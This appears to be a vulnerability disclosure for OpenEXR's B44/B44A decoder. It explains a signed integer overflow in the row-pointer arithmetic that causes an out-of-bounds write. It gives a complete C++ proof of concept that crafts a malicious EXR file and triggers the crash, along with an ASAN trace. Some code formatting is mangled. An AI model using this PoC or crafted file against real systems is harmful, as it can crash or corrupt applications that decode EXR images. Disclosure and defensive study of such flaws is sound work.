Summary

The B44/B44A decoder in OpenEXR reconstructs row pointers into a scratch buffer using int. When the channel width (nx) is large enough, the product y * nx overflows int, causing the row pointer to wrap before the start of the scratch buffer. Subsequent memcpy() calls then write decoded pixel blocks to an invalid address, producing an active out-of-bounds write.

Root cause

• Variable declarations (internal_b44.c:535)

  int nx, ny;
  

  nx and ny are declared as plain int. They are assigned from curc->width and curc->height which are int32_t.

• Scratch buffer allocation (internal_b44:543)

  nBytes = (uint64_t) (ny) * (uint64_t) (nx) *
                 (uint64_t) (curc->bytes_per_element);
  

  The allocation path correctly promotes to uint64_t before multiplying. The scratch buffer is always large enough to hold the full channel.

• Row pointer reconstruction (internal_b44:560)

  row0 = (uint16_t*) scratch;
  row0 += y * nx;          
  row1 = row0 + nx;
  row2 = row1 + nx;
  row3 = row2 + nx;
  

  y and nx are both int. The product y * nx is computed in int. If this product exceeds INT_MAX (2,147,483,647), the result is signed integer overflow

• Out of Band write (internal_b44:592)

  memcpy (row0, &s[0], n);
  memcpy (row1, &s[4], n);
  memcpy (row2, &s[8], n);
  memcpy (row3, &s[12], n);
  

  These four writes copy decoded B44 pixel blocks into row0–row3, which now point to memory before the scratch buffer. The same pattern is present in the encoder path (htapplyimpl), lines 431–432, where row0–row3 are read rather than written, producing an out-of-bounds read.

PoC

The PoC generates a valid B44 scanline EXR file (268435456 × 9, single HALF channel) and immediately decodes it. During decompression, uncompressb44impl() computes row0 += y * nx, with y=8 and nx=268435456, the product exceeds INTMAX, triggering a signed integer overflow that displaces row0 before the scratch buffer. The subsequent memcpy() writes to this invalid address, causing the crash. The generated file /tmp/pocb44.exr can be replayed independently on any OpenEXR installation. ```poc.cpp

include

include

include

include

include

include

define CHECK(call)

do {                                                             
    exr_result_t _rv = (call);                                   
    if (_rv != EXR_ERR_SUCCESS) {                                
        fprintf(stderr, "%s failed (%d)\n", #call, (int)_rv);   
        goto fail;                                               
    }                                                            
} while (0)

static void fillblocks(uint8t* out, uint64t n) { for (uint64t i = 0; i < n; i++, out += 3) { out[0] = 0x00; out[1] = 0x00; out[2] = (13u << 2); } }

int main(void) { const int64t W = 268435456; const int64t H = 9; const char* path = "/tmp/poc_b44.exr";

const uint64_t blocks = (uint64_t)(W / 4) * 2 + 1;
const uint64_t psz    = blocks * 3;

uint8_t* packed = (uint8_t*) malloc(psz);
exr_context_t         ctxt   = NULL;
exr_context_initializer_t cinit = EXR_DEFAULT_CONTEXT_INITIALIZER;
int                   part   = -1;
exr_chunk_info_t      cinfo;
exr_decode_pipeline_t dec    = EXR_DECODE_PIPELINE_INITIALIZER;
uint16_t              dummy  = 0;
int                   ok     = 0;

if (!packed) { fprintf(stderr, "malloc failed\n"); return 1; }
fill_blocks(packed, blocks);

CHECK(exr_start_write(&ctxt, path, EXR_WRITE_FILE_DIRECTLY, &cinit));
CHECK(exr_add_part(ctxt, "scan", EXR_STORAGE_SCANLINE, &part));
CHECK(exr_initialize_required_attr_simple(
          ctxt, part, (int32_t)W, (int32_t)H, EXR_COMPRESSION_B44));
CHECK(exr_add_channel(ctxt, part, "Y", EXR_PIXEL_HALF,
                      EXR_PERCEPTUALLY_LOGARITHMIC, 1, 1));
CHECK(exr_write_header(ctxt));
CHECK(exr_write_scanline_chunk(ctxt, part, 0, packed, psz));
exr_finish(&ctxt); ctxt = NULL;

fprintf(stderr, "[*] wrote %s  W=%"PRId64" H=%"PRId64 "  packed=%"PRIu64" bytes\n", path, W, H, psz);


CHECK(exr_start_read(&ctxt, path, &cinit));
CHECK(exr_read_scanline_chunk_info(ctxt, 0, 0, &cinfo));
CHECK(exr_decoding_initialize(ctxt, 0, &cinfo, &dec));

dec.channels[0].decode_to_ptr          = (uint8_t*)&dummy;
dec.channels[0].user_pixel_stride      = 2;
dec.channels[0].user_line_stride       = dec.channels[0].width * 2;
dec.channels[0].user_bytes_per_element = 2;
dec.channels[0].user_data_type         = dec.channels[0].data_type;

CHECK(exr_decoding_choose_default_routines(ctxt, 0, &dec));
dec.unpack_and_convert_fn = NULL; 

fprintf(stderr, "[*] calling exr_decoding_run()h\n");
fflush(stderr);


CHECK(exr_decoding_run(ctxt, 0, &dec));
ok = 1;

fail: if (ctxt) { exrdecodingdestroy(ctxt, &dec); exr_finish(&ctxt); } free(packed); return ok ? 0 : 1; }

### ASAN Trace

openexr/src/lib/OpenEXRCore/internalb44.c:561:23: runtime error: signed integer overflow: 8 * 268435456 cannot be represented in type 'int' #0 in uncompressb44impl internalb44.c:561 #1 in internalexrundob44 internalb44.c:706 #2 in decompressdata compression.c:444 #3 in exruncompresschunk compression.c:541 #4 in exrdecoding_run decoding.c:580 #5 in main poc.c:83

================================================================= ==PID==ERROR: AddressSanitizer: SEGV on unknown address 0x7fe65cfbc800 ==PID==The signal is caused by a WRITE memory access. #0 in memcpy (libc) #1 in uncompressb44impl internalb44.c:599 #2 in internalexrundob44 internalb44.c:706 #3 in decompressdata compression.c:444 #4 in exruncompresschunk compression.c:541 #5 in exrdecodingrun decoding.c:580 #6 in main poc.c:83

SUMMARY: AddressSanitizer: SEGV — WRITE via memcpy in uncompressb44impl internal_b44.c:599 ```

Impact

A crafted B44 or B44A EXR file can cause an out-of-bounds write in any application that decodes it via exrdecodingrun(). Consequences range from immediate crash (most likely) to corruption of adjacent heap allocations (layout-dependent).